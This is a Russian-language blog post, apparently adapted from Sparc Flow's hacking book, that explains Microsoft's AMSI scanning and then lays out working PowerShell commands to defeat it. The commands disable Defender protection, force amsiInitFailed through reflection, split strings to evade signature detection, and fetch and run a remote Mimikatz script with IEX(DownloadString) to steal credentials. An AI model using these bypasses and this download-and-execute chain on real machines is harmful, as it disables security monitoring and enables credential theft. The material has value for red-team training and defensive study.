Главная

Thursday, 16 February 2023

Штатный обход AMSI защиты.


Всем привет.

AMSI (Anti-Malware Scan Interface) - это тех­нология Microsoft, которую раз­работа­ли для защиты компьютера от вирусов и другой малвари. Впер­вые была внед­рена в Windows 10. AMSI умеет в реаль­ном вре­мени перех­ватыва­ть и анализировать скрип­ты JavaScript, VBScript, VBA и коман­ды PowerShell.

Давайте рассмотрим AMSI в действии. В нашем примере Windows Defender - это приложение, которое вызывает API AMSI. Но вы можете вызывать те же API из собственного приложения. Ниже приведен пример сценария, использующего метод кодирования XOR для скрытия его намерения (является ли это намерение неопасным или нет). На рисунке ниже можно представить, что этот сценарий был скачан из Интернета:



Чтобы сделать все более интересными, мы можем ввести этот скрипт вручную в командной строке, чтобы не было фактического файла для отслеживания. Это отражает то, что называется "без файловой угрозы". Это не так просто, как сканирование файлов на диске. Угроза может быть backdoor, который живет только в памяти компьютера.

Ниже приведен результат выполнения скрипта в Windows PowerShell. Вы увидите, что Защитник Windows может обнаружить пример теста AMSI в этом сложном сценарии, просто используя стандартную сигнатуру тестов AMSI.



Но AMSI не так страшен(силен) как им пугают. Допустим нам требуется обойти AMSI чтобы иметь возможность загрузить Mimikatz в память. Если мы в своём огороде являемся администраторами, мы можем просто отключить AMSI воспользовавшись встроенной командой Set-MpPreference (в режиме с повышенными правами):

Set-MpPreference -DisableIOAVProtection $true

# variant 1
К счастью, у нас имеется иной вариант, который должен вызывать намного меньше шума в системе мониторинга:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a msiInitFailed','NonPublic,Static').SetValue($null,$true)

# variant 2
Еще один вариант можно отыскать в интересной компиляции обхода (автор идеи Сэм Рэйтаншок) находящегося в папке Bypass в файле Invoke-AmsiBypass.ps1:
$utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')

Затем мы выполняем выборку ссылки на значение атрибута amsiInitFailed и устанавливаем его в True.  Во избежание какого бы то ни было полагающегося на лёгкое соответствие шаблону обнаружения мы пробрасываем это в небольшой конкатенации строки:
$field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')
$field.SetValue($null,$true)

Готово, теперь запускаем на исполнение Mimikatz при отключенном AMSI:
$browser = New-Object System.Net.WebClient
$file="https://sf-res.com/Invoke-mimi.ps1"
IEX($browser.DownloadString($file))
Invoke-Mimikatz

По материалам книги Спарка Флоу "Как заниматься взломом словно легенда. Прорываемся в Windows", Copyright (С) 2022 Sparc Flow, No Starch Press, Inc.

Удачи!

No comments:

Post a Comment

А что вы думаете по этому поводу?